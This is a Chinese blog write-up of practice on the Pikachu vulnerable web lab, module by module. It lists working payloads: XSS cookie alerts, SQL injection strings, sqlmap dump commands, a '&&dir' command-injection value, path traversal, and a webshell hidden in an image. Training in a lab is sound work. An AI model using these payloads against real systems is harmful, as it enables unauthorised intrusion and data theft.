Pikachu练习记录
Pikachu练习记录
0x01 Pikachu靶场
Pikachu是一个带有漏洞的Web应用系统,在这里包含了常见的web安全漏洞。 如果你是一个Web渗透测试学习人员且正发愁没有合适的靶场进行练习,那么Pikachu可能正合你意。
链接:https://github.com/zhuifengshaonianhanlu/pikachu
0x02 暴力破解
基于表单的暴力破解
如题,直接放burp里暴力破解即可
验证码绕过(on server)
在intruder里同一个验证码可重复使用
验证码绕过(on client)
在intruder里同一个验证码可重复使用,也可以审查元素把相关的验证码代码删掉,不影响
Token防爆破?
多次抓包后发现,每次抓取的数据包中都含有下次请求所需要的token
可以用burp里Intruder进行爆破,爆破类型用Pitchfork,爆破变量为password和token
对于token载荷相关设置,Payload type选择为 Recursive grep(递归搜索)
然后在设置中的Grep - Extract中添加过滤项,找到token的位置,进行添加,同时把token值复制一下
最后填写下一个token值开始爆破
0x03 Cross-Site Scripting
反射型xss(get)
输入框被限制了最大输入长度,但是可以通过审查元素修改maxlength值来解除限制
1 | 输入框直接上脚本 |
反射型xss(post)
1 | 登陆进去后输入框内输入以下内容 |
存储型xss
1 | <!-- <script>alert(document.cookie)</script> --> |
DOM型xss
输入hello正常文本
输入下方文本
1 | #' onclick=alert('hello')> |
DOM型xss-x
1 | ' onclick=alert('hello')> |
输入信息同时也会显示在url输入框里。
xss之盲打
1 | 留言板输入: |
提示/xssblind/admin_login.php,登陆后台发现脚本会立即执行
xss之过滤
大小写绕过
1 | <!-- <ScRipt>alert(1)</ScriPt> --> |
xss之htmlspecialchars
1 | ' onclick='alert(1)' |
xss之href输出
js伪协议绕过
1 | javascript:alert(1) |
xss之js输出
输入信息通过审查元素可以看到输入内容在js标签内
可以先把前面的<script>进行闭合,构造以下payload即可
1 | <!-- </script><script>alert(1)</script> --> |
0x04 CSRF
CSRF(get)
CSRF(post)
CSRF(token)
0x05 Sql Inject
数字型注入
1,手动注入
发现是个选项,无法输入东西 ,直接拦截数据包,在burp里进行修改
1 | id=1 |
2,无脑sqlmap
1 | sqlmap.py -u http://127.0.0.1/vul/sqli/sqli_id.php --data "id=1" --batch -D pikachu -T member --dump |
字符型注入
1 | 123 |
sqlmap
1 | sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T member --batch --dump |
搜索型注入
由于没有过滤“%”,“%”可以进行匹配任意字符,与linux中的”*“类似
sqlmap
1 | sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_search.php?name=1&submit=%E6%90%9C%E7%B4%A2" --batch -D pikachu -T member --dump |
xx型注入
用123‘测试发现报错中含有一个反括号,
那就构造以下payload:
1 | 123') or 1=1 # |
sqlmap
1 | python sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_x.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --batch -D pikachu -T member --dump |
“insert/update”注入
注册一下账户,然后brup抓包,随便选一个变量,修改如下
1 | ' and extractvalue(1,concat('~',(select database()))) and '1'='1 |
“delete”注入
操作同上,在点击删除留言时进行抓包,发现有一个id参数可以进行注入,不过发现注入的参数中不能出现空格,否则空格后面不会进行处理
可以用“+”代替空格
1 | +and+updatexml(1,concat(0x7e,database(),0x7e),1) |
“http header”注入
用提示给的用户登陆以下发现显示以上信息
直接抓包,然后修改User-Agent或者Accept,
修改如下:
1 | ' and extractvalue(1,concat(0x7e,(database()))) and '1'='1 |
经测试,cookie中的uname和pw变量也能进行注入
盲注(base on boolean)
当输入kobe时显示uid和email
当输入其他的值后显示输入的username不存在
经测试是用 ‘ 进行闭合的
1 | kobe' |
burp抓包进行爆破数据库名字
1 | kobe' and substr(database(),1,1)='a'# |
第一个参数修改
第二个参数修改,爆破字符为a-z ,顺带着添加一个”_”
sqlmap
1 | sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_blind_b.php?name=123&submit=%E6%9F%A5%E8%AF%A2" --batch |
然后稍微排下序即可爆出数据库名字
盲注(base on time)
增加一个sleep(n)函数,加个判断,用回显时间的长短来判断,剩下的操作和上一样
sqlmap
1 | sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_blind_t.php?name=123&submit=%E6%9F%A5%E8%AF%A2" --batch |
宽字节注入
引用大佬的链接https://blog.csdn.net/aa2528877987/article/details/118569895
1 | 宽字节注入原理: |
在’前面加个%df也就可以实现逃逸转义,然后burp抓包,剩下操作同上
0x06 RCE
exec”ping”
1 | 127.0.0.1&&dir |
exec”eval”
1 | 直接输入 phpinfo(); |
经过查看源码发现代码如下
于是尝试用蚁剑进行连接,最后发现修改如下可以成功连接
0x07 File Inclusion
file inclusion(local)
1 | ..\..\..\Users\sfd\Desktop\demo.txt |
file inclusion(remote)
同标题,还是相同的位置,可以通过输入链接进行访问其他东西
0x08 Unsafe file download
Unsafe file download
当鼠标悬浮在要下载的文件上时,发现左下角有详细链接
那么我们可以修改这个链接指向的filename来进行下载任意文件
要下载本地文件用法和[File Inclusion(loacl)](#File Inclusion(local))一样,直接在filename=后面添加想要下载文件的相对位置
0x09 [unsafe upfileupload]
client check
先上传一张图片,然后burp抓包,修改后缀后放包即可
最后用蚁剑连接即可。
MIME type
直接上传php木马,同样抓包,然后修改Content-Type 为 image/png 即可
getimagesize()
添加了对文件进行判断有没有图片特征的函数,直接用cmd命令合成一个图片码即可绕过
1 | copy /b a.png + a.php b.png |
0x10 over permission
水平越权
首先以lucy的身份进行登录,然后可以看到lucy的信息
1 | http://127.0.0.1/vul/overpermission/op1/op1_mem.php?username=lucy&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF |
这时我们直接修改url里的username,将其指定为kobe,就可以直接查看kobe的信息
1 | http://127.0.0.1/vul/overpermission/op1/op1_mem.php?username=kobe&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF |
垂直越权
pikachu用户只有查看权限,而admin用户有所有权限
首先登陆admin并添加用户,然后可以获得一个url地址
1 | http://127.0.0.1/vul/overpermission/op2/op2_admin_edit.php |
然后我们用pikachu用户登陆,然后直接输入上面的地址,发现可以进入添加用户界面,并且可以正常添加用户,回到admin用户后发现可以看到当前创建的用户
0x11 ../../(目录遍历)
目录遍历
1 | ../../../../Users/sfd/Desktop/demo.txt |
0x12 敏感信息泄露
icanyourABC
F12进行元素审查时发现一个测试用户可以使用
0x13 php反序列化
php反序列化漏洞
php涉及到序列化的函数有两个,分别是serialize()和
unserialize()
序列化简单来说就是将一个对象转化成可以传输的字符串,反序列化就是相反的操作
1 | #举个例子 |
反序列化
1 | $u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}"); |
序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题
1 | 常见的几个魔法函数: |
0x14 XXE
XXE漏洞
前端将$_POST['xml']
传递给变量$xml,
由于后台没有对此变量进行安全判断就直接使用simplexml_load_string
函数进行xml解析, 从而导致xxe漏洞
1 | <!-- 打印hello world --> |
0x15 URL重定向
不安全的url跳转
修改url=后面的参数
1 | http://127.0.0.1/vul/urlredirect/urlredirect.php?url=https://baidu.com |
0x16 SSRF
- curl 支持更多协议,有http、https、ftp、gopher、telnet、dict、file、ldap;模拟 Cookie 登录,爬取网页;FTP 上传下载。
- fopen / file_get_contents 只能使用 GET 方式获取数据
SSRF漏洞常用协议:
SSRF(curl)
通过url参数直接访问内部资源,或者跳转到其他服务器页面
1 | HTTP(s):最常用到的一种协议,可以用来验证是否存在SSRF漏洞,探测端口以及服务。 |
例:
1 | //访问内网链接资源 |
SSRF(file_get_content)
利用file_get_content(“path”)利用传递的参数,通过file参数访问内部资源,或者跳转到其他服务器页面
1 | //直接读取内部文件 |
php伪协议读取文件
1 | php://filter/read=convert.base64-encode/resource=D:/a.txt |
- Title: Pikachu练习记录
- Author: atdunbg
- Created at : 2023-08-10 15:06:10
- Updated at : 2024-07-04 20:24:23
- Link: https://atdunbg.xyz/2023/08/10/Pikachu_practice/
- License: This work is licensed under CC BY-NC-SA 4.0.